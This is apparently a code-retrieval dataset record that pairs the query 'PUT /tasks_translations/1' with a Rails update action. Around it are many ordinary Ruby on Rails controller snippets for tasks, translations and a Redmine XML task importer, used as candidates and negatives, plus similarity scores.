}\n else\n format.html { render :new }\n format.json { render json: @project_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project_task = ProjectTask.new(project_task_params)\n\n respond_to do |format|\n if @project_task.save\n flash[:success] = \"Project Task Created\"\n format.html { redirect_to @project_task }\n format.json { render :show, status: :created, location: @project_task }\n else\n format.html { render :new }\n format.json { render json: @project_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @task = Task.new(params[:task])\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: '已建立任务.' }\n format.json { render json: @task, status: :created, location: @task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @reports_translation = ReportsTranslation.new(params[:reports_translation])\n\n respond_to do |format|\n if @reports_translation.save\n format.html { redirect_to([:admin,@reports_translation], :notice => 'Reports translation was successfully created.') }\n format.xml { render :xml => @reports_translation, :status => :created, :location => @reports_translation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reports_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @task_transition = TaskTransition.new(params[:task_transition])\n\n respond_to do |format|\n if @task_transition.save\n format.html { redirect_to @task_transition, notice: 'Task transition was successfully created.' }\n format.json { render json: @task_transition, status: :created, location: @task_transition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_transition.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @journal = current_user.journals.find(params[:journal_id])\n @task = @journal.tasks.find(params[:task_id])\n @task.descriptions.create\n redirect_to journal_task_path(@journal, @task)\n end", "def index\n @example_translations = ExampleTranslation.all\n end", "def task_params\n params.require(:task).permit(:text, :status, :user_id, :project_id)\n end", "def create\n @task = @member.tasks.new(task_params)\n @task.creator = @member\n @task.due_at ||= Time.zone.now\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to tasks_path(@org), notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n format.js\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def index\r\n @service_translations = ServiceTranslation.all\r\n end", "def create\n @yas_task = YasTask.new(yas_task_params)\n\n respond_to do |format|\n if @yas_task.save\n format.html { redirect_to @yas_task, notice: 'Yas task was successfully created.' }\n format.json { render :show, status: :created, location: @yas_task }\n else\n format.html { render :new }\n format.json { render json: @yas_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n # This can and probably SHOULD be replaced with some URL rewrite magic\r\n # now that the project loader is Redmine project based.\r\n find_project()\r\n\r\n # Set up a new TaskImport session object and read the XML file details\r\n\r\n xmlfile = params[ :import ][ :xmlfile ]\r\n @import = TaskImport.new\r\n\r\n if xmlfile.present?\r\n\r\n # The user selected a file to upload, so process it\r\n\r\n begin\r\n\r\n # We assume XML files always begin with \"<\" in the first byte and\r\n # if that's missing then it's GZip compressed. That's true in the\r\n # limited case of project files.\r\n\r\n# byte = xmlfile.getc()\r\n xmlfile.rewind()\r\n\r\n# xmlfile = Zlib::GzipReader.new( xmlfile ) if ( byte != '<'[ 0 ] )\r\n# xmldoc = REXML::Document.new( xmlfile.read )\r\n @import.tasks, @import.new_categories = get_tasks_from_xml( REXML::Document.new( xmlfile.read ) )\r\n\r\n if @import.tasks.blank?\r\n flash[ :error ] = 'No usable tasks were found in that file'\r\n else\r\n flash[ :notice ] = 'Tasks read successfully. Please choose items to import.'\r\n end\r\n\r\n# rescue => error\r\n\r\n# # REXML errors can be huge, including a full backtrace. It can cause\r\n# # session cookie overflow and we don't want the user to see it. Cut\r\n# # the message off at the first newline.\r\n\r\n# lines = error.message.split(\"\\n\")\r\n# flash[ :error ] = \"Failed to read file: #{ lines[ 0 ] }\"\r\n end\r\n\r\n render :action => :new\r\n flash.delete( :error )\r\n flash.delete( :notice )\r\n\r\n else\r\n\r\n # No file was specified. If there are no tasks either, complain.\r\n\r\n tasks = params[ :import ][ :tasks ]\r\n\r\n if ( tasks.blank? )\r\n flash[ :error ] = \"Please choose a file before using the 'Analyse' button.\"\r\n render( { :action => :new } )\r\n flash.delete( :error )\r\n return\r\n end\r\n\r\n # Compile the form submission's task list into something that the\r\n # TaskImport object understands.\r\n #\r\n # Since we'll rebuild the tasks array inside @import, we can render the\r\n # 'new' view again and have the same task list presented to the user in\r\n # case of error.\r\n\r\n @import.tasks = []\r\n @import.new_categories = []\r\n to_import = []\r\n\r\n # Due to the way the form is constructed, 'task' will be a 2-element\r\n # array where the first element contains a string version of the index\r\n # at which we should store the entry and the second element contains\r\n # the hash describing the task itself.\r\n\r\n tasks.each do | taskinfo |\r\n index = taskinfo[ 0 ].to_i\r\n task = taskinfo[ 1 ]\r\n struct = OpenStruct.new(task)\r\n struct.predecessors = struct.predecessors.split(', ')\r\n struct.delays = struct.delays.split(', ')\r\n @import.tasks[ index ] = struct\r\n to_import[ index ] = struct if ( task[ :import ] == '1' )\r\n end\r\n\r\n to_import.compact!\r\n\r\n # The \"import\" button in the form causes token \"import_selected\" to be\r\n # set in the params hash. The \"analyse\" button causes nothing to be set.\r\n # If the user has clicked on the \"analyse\" button but we've reached this\r\n # point, then they didn't choose a new file yet *did* have a task list\r\n # available. That's strange, so raise an error.\r\n #\r\n # On the other hand, if the 'import' button *was* used but no tasks were\r\n # selected for error, raise a different error.\r\n\r\n if ( params[ :import ].nil? )\r\n flash[ :error ] = 'No new file was chosen for analysis. Please choose a file before using the \"Analyse\" button, or use the \"Import\" button to import tasks selected in the task list.'\r\n elsif ( to_import.empty? )\r\n flash[ :error ] = 'No tasks were selected for import. Please select at least one task and try again.'\r\n end\r\n\r\n # Get defaults to use for all tasks - sure there is a nicer ruby way, but this works\r\n #\r\n # Tracker\r\n default_tracker_name = Setting.plugin_redmine_loader['tracker']\r\n default_tracker = Tracker.find_by_name(default_tracker_name)\r\n default_tracker_id = default_tracker.try(:id)\r\n\r\n if ( default_tracker_id.nil? )\r\n flash[ :error ] = 'No valid default Tracker. Please ask your System Administrator to resolve this.'\r\n end\r\n\r\n # Bail out if we have errors to report.\r\n unless( flash[ :error ].nil? )\r\n render( { :action => :new } )\r\n flash.delete( :error )\r\n return\r\n end\r\n\r\n # We're going to keep track of new issue ID's to make dependencies work later\r\n uidToIssueIdMap = {}\r\n # keep track of new Version ID's\r\n uidToVersionIdMap = {}\r\n # keep track of the outlineNumbers to set the parent_id\r\n outlineNumberToIssueIDMap = {}\r\n\r\n imported = 0\r\n\r\n # Right, good to go! Do the import.\r\n begin\r\n Issue.transaction do\r\n to_import.sort_by{ |s| s.outlinenumber.split('.').map(&:to_i) }.each do | source_issue |\r\n\r\n # We comment those lines becouse they are not necesary now.\r\n # Add the category entry if necessary\r\n #category_entry = IssueCategory.find :first, :conditions => { :project_id => @project.id, :name => source_issue.category }\r\n logger.error \"DEBUG: Issue to be imported: #{source_issue.inspect}\"\r\n if source_issue.category.present?\r\n logger.error \"DEBUG: Search category id by name: #{source_issue.category}\"\r\n category_entry = IssueCategory.find_by_project_id_and_name(@project.id, source_issue.category)\r\n logger.error \"DEBUG: Category found: #{category_entry.inspect}\"\r\n else\r\n category_entry = nil\r\n end\r\n\r\n if source_issue.tracker_id.present?\r\n logger.error \"DEBUG: Search tracker id by name: #{source_issue.tracker_name}\"\r\n# final_tracker = Tracker.find(:first, :conditions => [ \"name = ?\", source_issue.tracker_name])\r\n final_tracker = Tracker.find_by_id(source_issue.tracker_id)\r\n logger.error \"DEBUG: Tracker found: #{category_entry.inspect}\"\r\n else\r\n final_tracker = default_tracker\r\n end\r\n final_tracker = default_tracker if final_tracker.nil?\r\n\r\n if (source_issue.milestone.to_i == 0)\r\n destination_issue = Issue.find_by_project_id_and_uid(@project.id, source_issue.uid) || Issue.new\r\n destination_issue.tracker_id = final_tracker.id\r\n destination_issue.uid = source_issue.uid.to_i\r\n destination_issue.category_id = category_entry.try(:id)\r\n destination_issue.subject = source_issue.title.slice(0, 255) # Max length of this field is 255\r\n destination_issue.estimated_hours = source_issue.duration\r\n destination_issue.project_id = @project.id\r\n destination_issue.author_id = User.current.id\r\n destination_issue.lock_version = 0\r\n destination_issue.done_ratio = source_issue.percentcomplete\r\n destination_issue.start_date = source_issue.start\r\n destination_issue.due_date = source_issue.finish || destination_issue.start_date + ((source_issue.duration.to_f/40.0)*7.0).to_i\r\n destination_issue.description = source_issue.notes\r\n\r\n# logger.error \"DEBUG: Assigned_to field: #{source_issue.assigned_to}\"\r\n destination_issue.assigned_to = User.find_by_id(source_issue.assigned_to)\r\n imported += 1 if destination_issue.save\r\n\r\n logger.error \"DEBUG: Issue imported: #{destination_issue.inspect}\"\r\n# logger.error \"DEBUG: Issue #{destination_issue.description} imported\"\r\n # Now that we know this issue's Redmine issue ID, save it off for later\r\n uidToIssueIdMap[ source_issue.uid ] = destination_issue.id\r\n #Save the Issue's ID with the outlineNumber as an index, to set the parent_id later\r\n outlineNumberToIssueIDMap[ source_issue.outlinenumber ] = destination_issue.id\r\n else\r\n #If the issue is a milestone we save it as a Redmine Version\r\n version_record = Version.find_by_project_id_and_uid(@project.id, source_issue.uid) || Version.new\r\n version_record.name = source_issue.title.slice(0, 59)#maximum is 60 characters\r\n version_record.uid = source_issue.uid.to_i\r\n version_record.description = source_issue.notes if source_issue.notes.present?\r\n version_record.effective_date = source_issue.start\r\n version_record.project_id = @project.id\r\n imported += 1 if version_record.save\r\n # Store the version_record.id to assign the issues to the version later\r\n uidToVersionIdMap[ source_issue.uid ] = version_record.id\r\n end\r\n end\r\n\r\n flash[ :notice ] = \"#{ imported } #{ to_import.length == 1 ? 'task' : 'tasks' } imported successfully.\"\r\n end\r\n\r\n # Set the parent_id. We use the outnum of the issue (the outlineNumber without the last .#).\r\n # This outnum is the same as the parent's outlineNumber, so we can use it as the index of the\r\n # outlineNumberToIssueIDMap to get the parent's ID\r\n Issue.transaction do\r\n to_import.each do | source_issue |\r\n if destination_issue = Issue.find_by_project_id_and_uid(@project.id, source_issue.uid)\r\n destination_issue.parent_issue_id = Issue.find_by_project_id_and_uid(@project.id, source_issue.parent_uid).try(:id)\r\n destination_issue.save(:validate => false)\r\n end\r\n end\r\n end\r\n\r\n # Delete all the relations off the issues that we are going to import. If they continue existing we are going to create them. If not they must be deleted.\r\n to_import.each do | source_issue |\r\n IssueRelation.delete_all([\"issue_to_id =?\", uidToIssueIdMap[source_issue.uid]])\r\n end\r\n\r\n # Handle all the dependencies being careful if the parent doesn't exist\r\n IssueRelation.transaction do\r\n to_import.each do | source_issue |\r\n delaynumber = 0\r\n source_issue.predecessors.each do | parent_uid |\r\n # Parent is being imported also. Go ahead and add the association\r\n if ( uidToIssueIdMap.has_key?(parent_uid) )\r\n # If the issue is not a milestone we have to create the issue relation\r\n if (source_issue.milestone.to_i == 0)\r\n relation_record = IssueRelation.new do |i|\r\n i.issue_from_id = uidToIssueIdMap[parent_uid]\r\n i.issue_to_id = uidToIssueIdMap[source_issue.uid]\r\n i.relation_type = 'precedes'\r\n # Set the delay of the relation if it exists.\r\n if source_issue.delays[delaynumber].present?\r\n# if source_issue.delays[delaynumber].to_i > 0\r\n i.delay = (source_issue.delays[delaynumber].to_i)/4800\r\n delaynumber = delaynumber + 1\r\n# end\r\n end\r\n end\r\n logger.error \"DEBUG: #{relation_record.inspect}\" unless relation_record.save(:validation => false)\r\n else\r\n # If the issue is a milestone we have to assign the predecessor to the version\r\n\r\n if destination_issue = Issue.find(:first, :conditions => [\"project_id =? AND id=?\", @project.id, uidToIssueIdMap[parent_uid]])\r\n destination_issue.fixed_version_id = uidToVersionIdMap[source_issue.uid]\r\n logger.error \"DEBUG: #{destination_issue.inspect}\" unless destination_issue.save(:validation => false)\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n\r\n redirect_to( \"/projects/#{@project.identifier}/issues\" )\r\n\r\n\r\n# rescue => error\r\n# flash[ :error ] = \"Unable to import tasks: #{ error }\"\r\n# logger.error \"DEBUG: Unable to import tasks: #{ error }\"\r\n# render( { :action => :new } )\r\n\r\n end\r\n end\r\n end" ]
[ "0.67565733", "0.5894751", "0.5811457", "0.57417226", "0.5655364", "0.56385374", "0.5638287", "0.5601117", "0.55633235", "0.55541253", "0.55426544", "0.55190897", "0.5487896", "0.54401577", "0.54032", "0.5394314", "0.5340205", "0.5333159", "0.53139836", "0.5313373", "0.53111976", "0.53087217", "0.53070194", "0.5297544", "0.5276413", "0.5270558", "0.5251201", "0.5250788", "0.5245204", "0.52291316", "0.5218295", "0.5191994", "0.517374", "0.51638335", "0.5159067", "0.5153122", "0.5150313", "0.5134132", "0.51136065", "0.51100117", "0.51090753", "0.5102804", "0.5101361", "0.5095139", "0.5073165", "0.5072414", "0.5070452", "0.5058566", "0.5058177", "0.5057172", "0.50565517", "0.5043419", "0.5042172", "0.502019", "0.5017495", "0.50073844", "0.5004402", "0.5003678", "0.49976414", "0.49892518", "0.4983013", "0.4978592", "0.49759674", "0.49651602", "0.4964661", "0.49640518", "0.49628636", "0.495807", "0.49505267", "0.49375236", "0.4937362", "0.49342307", "0.49262655", "0.492283", "0.4910072", "0.49080434", "0.49005085", "0.48949808", "0.48945937", "0.48930246", "0.48925614", "0.4887726", "0.48874214", "0.48807448", "0.4879439", "0.4874872", "0.48660704", "0.48620123", "0.48592365", "0.48576915", "0.48568577", "0.4856393", "0.4853862", "0.484948", "0.4848764", "0.48425406", "0.48367083", "0.48309013", "0.4829936", "0.482816" ]
0.66660917
1
PUT /tasks_translations/1 PUT /tasks_translations/1.xml
def update @tasks_translation = TasksTranslation.find(params[:id]) respond_to do |format| if @tasks_translation.update_attributes(params[:tasks_translation]) format.html { redirect_to([:admin,@tasks_translation], :notice => 'Tasks translation was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @tasks_translation.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\r\n\r\n data = params.except(:action, :controller, :options)\r\n options = params[:options]\r\n translations = GetPomo::PoFile.parse(File.read(\"#{Rails.root}/po/#{options[\"locale\"]}/#{APP_SID}.po\"))\r\n\r\n # Find translation\r\n\r\n @locale = translations.find { |t| t.comment == data[\"comment\"] }\r\n index = translations.find_index(@locale)\r\n\r\n # Edit translation\r\n\r\n @locale.msgid = data[\"msgid\"]\r\n @locale.msgstr = data[\"msgstr\"]\r\n @locale.comment = data[\"comment\"]\r\n if data.has_key?(\"fuzzy\") and data[\"fuzzy\"] == \"on\"\r\n @locale.comment += \", fuzzy\\n\" if @locale.fuzzy?.nil?\r\n else\r\n @locale.comment.slice! \", fuzzy\\n\" unless @locale.fuzzy?.nil?\r\n end\r\n\r\n # Replace translation\r\n\r\n translations[index] = @locale\r\n\r\n # Create delayed job to rewrite the PO file asynchronously\r\n\r\n Delayed::Job.enqueue WritePo.new(options[\"locale\"], GetPomo::PoFile.to_text(translations))\r\n render :json => @locale\r\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Úkol byl úspěšně upraven.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @translation = Translation.find(params[:id])\n @translation.update_attributes(params[:translation])\n respond_with @translation\n end", "def update\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Successfully updated task.'\n format.html { redirect_to :back }\n format.xml { }\n else\n format.html render :action => \"edit\"\n end\n end\n end", "def update_topic_translations(topic_id, locale, translations)\n puts \"Updating #{locale} translations for topic ##{topic_id}\"\n\n # Tries a PATCH to update an existing translation\n res = patch \"/topics/#{topic_id}/translations/#{locale}\", translations\n return true if res != false\n\n\n # If not working, tries a POST to create it\n res = post \"/topics/#{topic_id}/translations\", translations.merge(:locale => locale)\n return !!res\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect_to(@task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @events_translation = EventsTranslation.find(params[:id])\n\n respond_to do |format|\n if @events_translation.update_attributes(params[:events_translation])\n format.html { redirect_to(@events_translation, :notice => 'Events translation was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @events_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @task = context.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(redirect, :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { redirect_to(redirect, :notice => 'Please try again') }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\n @tasks_translation = TasksTranslation.find(params[:id])\n @tasks_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_tasks_translations_url) }\n format.xml { head :ok }\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(@task, :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n flash[:notice] = 'Task was successfully updated.'\n format.html { redirect(@task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(@task, :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(@task, :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @subtask = Subtask.find(params[:id])\n\n respond_to do |format|\n if @subtask.update_attributes(params[:subtask])\n flash[:notice] = 'Subtask was successfully updated.'\n format.html { redirect_to(@subtask) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subtask.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @example_translation.update(example_translation_params)\n format.html { redirect_to @example_translation, notice: 'Example translation was successfully updated.' }\n format.json { render :show, status: :ok, location: @example_translation }\n else\n format.html { render :edit }\n format.json { render json: @example_translation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @translated_word = TranslatedWord.find(params[:id])\n\n respond_to do |format|\n if @translated_word.update_attributes(params[:translation])\n format.json { head :no_content }\n else\n format.json { render :json => @translated_word.errors,\n :status => :unprocessable_entity }\n end\n\n end\n end", "def create\n @tasks_translation = TasksTranslation.new(params[:tasks_translation])\n\n respond_to do |format|\n if @tasks_translation.save\n format.html { redirect_to([:admin,@tasks_translation], :notice => 'Tasks translation was successfully created.') }\n format.xml { render :xml => @tasks_translation, :status => :created, :location => @tasks_translation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tasks_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def change_translation(id, new_value)\n # puts(\"#{id} : #{new_value}\")\n # Add the following line to prevent ACTUAL changing of the translation:\n # return true\n new_value_json = { 'target' => new_value }.to_json\n # Note: This popen invocation does NOT go through the shell,\n # so we do not use shell escapes.\n IO.popen(\n [\n 'curl', '-i',\n '-H', \"x-api-key: #{API_KEY}\",\n '-H', 'content-type: application/json',\n '--request', 'PATCH',\n \"https://translation.io/api/v1/segments/#{id}.json\",\n '--data', new_value_json\n ]\n ) do |io|\n curl_output = io.read\n puts curl_output # Very useful for debugging!\n io.close\n $CHILD_STATUS.success? # Return whether or not we succeeded\n end\nend", "def update\r\n @task = @current_user.tasks.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @task.update_attributes(params[:task])\r\n format.html { redirect_to(@task) }\r\n format.xml { head :ok }\r\n format.js {\r\n #flash[:notice] = 'Task updated'\r\n render :text => 'Task successfully updated'\r\n }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'タスクを更新しました!' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n flash[:notice] = \"Task was successfully updated.\" if task.save\n respond_with(task)\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n format.xml { render xml: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_translations\n end", "def update\n @workflow_task = WorkflowTask.find(params[:id])\n\n respond_to do |format|\n if @workflow_task.update_attributes(params[:workflow_task])\n flash[:notice] = 'WorkflowTask was successfully updated.'\n format.html { redirect_to(@workflow_task) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @workflow_task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_api_v1_task\n @api_v1_task = Task.find(params[:id])\n end", "def update\n resource.update_attributes(params[:i18n_key])\n respond_with(resource, location: i18n_keys_path)\n end", "def update_tasks\n UserTask.update(params[:task].keys, params[:task].values)\n flash[:notice] = \"#{t(:text_task)} \" \"#{t(:flash_was_successful)} \" \"#{t(:text_assigned)}\"\n redirect_to physical_liviaservices_managers_portal_path\n end", "def edit\n respond_with @translation_unit\n end", "def update\r\n @tasks = Task.find(params[:id])\r\n if @tasks.update(task_params)\r\n render json: @tasks\r\n else\r\n render json: @tasks.errors, status: :unprocessable_entity\r\n end\r\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task.project, :notice => 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_rest\n @question_localized = QuestionLocalized.find(params[:id])\n\n respond_to do |format|\n if @question_localized.update_attributes(params[:question_localized])\n flash[:notice] = 'QuestionLocalized was successfully updated.'\n format.html { redirect_to(@question_localized) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question_localized.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to_index('Task was successfully updated.', 1)}\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def update\n if params[:cancel]\n redirect_to(@story) \n else\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(@story, :notice => 'Task was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @service_translation.update(service_translation_params)\r\n format.html { redirect_to @service_translation, notice: 'Serviço de traduções actualizado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @service_translation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @task = Task.find_by(id: params[:id])\n if @task.update(task_params)\n render json: { message: I18n.t('task.update.success') }, status: 200\n else\n render json: @task.errors, status: :unprocessable_entity\n end\n end", "def update\n command = Tasks::Update.call(@task, params: task_params)\n respond_to do |format|\n if command.success?\n format.html { redirect_to @task, notice: \"Task was successfully updated.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n end\n end\n end", "def update\n \t@task = @project.tasks.find(params[:id])\n if @task.update_attributes(params[:task])\n redirect_to(project_tasks_path(@project))\n flash[:notice] = 'Task was successfully updated.'\n else\n render('edit')\n end\n end", "def update\n @task = @project.tasks.find(params[:id])\n #@task = @project.tasks.update!(task_params)\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to project_url(@task), notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_article_translations(article_id, locale, translations)\n\n puts \"Updating #{locale} translations for article ##{article_id}\"\n\n # Tries a PATCH to update an existing translation\n res = patch \"/articles/#{article_id}/translations/#{locale}\", translations\n return true if res != false\n\n\n # If not working, tries a POST to create it\n res = post \"/articles/#{article_id}/translations\", translations.merge(:locale => locale)\n return !!res\n end", "def update\n @task = current_user.tasks.find(params[:id])\n\n respond_with @task do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to(tasks_path, :notice => t('messages.updated')) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def update_task(id, title, description)\n task = Task.find(id)\n task.title = title\n task.description = description\n task.save\nend", "def update\n @task = Task.find(params[:id])\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Tarefa was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n \tformat.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\nend", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, :notice => 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @task.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_task.update(api_task_params)\n format.html { redirect_to @api_task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_task }\n else\n format.html { render :edit }\n format.json { render json: @api_task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find_by(id: params[:id])\n if @task.nil?\n redirect_to tasks_path\n elsif @task.update(\n name: params[:task][:name],\n description: params[:task][:description],\n completed_at: params[:task][:completed_at]\n )\n redirect_to task_path(@task.id)\n else\n render :edit\n end\n end", "def update\n @short_term_goal = ShortTermGoal.find(params[:id])\n=begin\n @short_term_goal.tasks.each do |task|\n task.destroy\n end\n params[:short_term_goal][:tasks] = Array.new\n tasks_array = Array.new\n if params[:task]\n params[:task].each do |num,task| \n tasks_array[Integer(num)] = task if task != ''\n end\n end\n tasks_array.each do |task|\n params[:short_term_goal][:tasks] << Task.create(:name => task) if task != nil\n end\n=end\n respond_to do |format|\n if @short_term_goal.update_attributes(params[:short_term_goal])\n format.html { redirect_to(myguide_path(@current_user), :notice => 'Short term goal was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @short_term_goal.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @tasks_translation = TasksTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tasks_translation }\n end\n end", "def update\n @mytask = Task.find(params[:id])\n if @mytask.update({title: params[:task][:title], description: params[:task][:description], completed_at: params[:task][:completed_at], status: params[:task][:status]})\n # redirect_to(@mytask)}\n redirect_to tasks_path\n else\n render \"edit\"\n end\n end", "def update\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task.project, notice: 'Tarefa atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task = Task.find(params[:id])\n\n respond_to do |format|\n if @task.update_attributes(params[:task])\n format.html 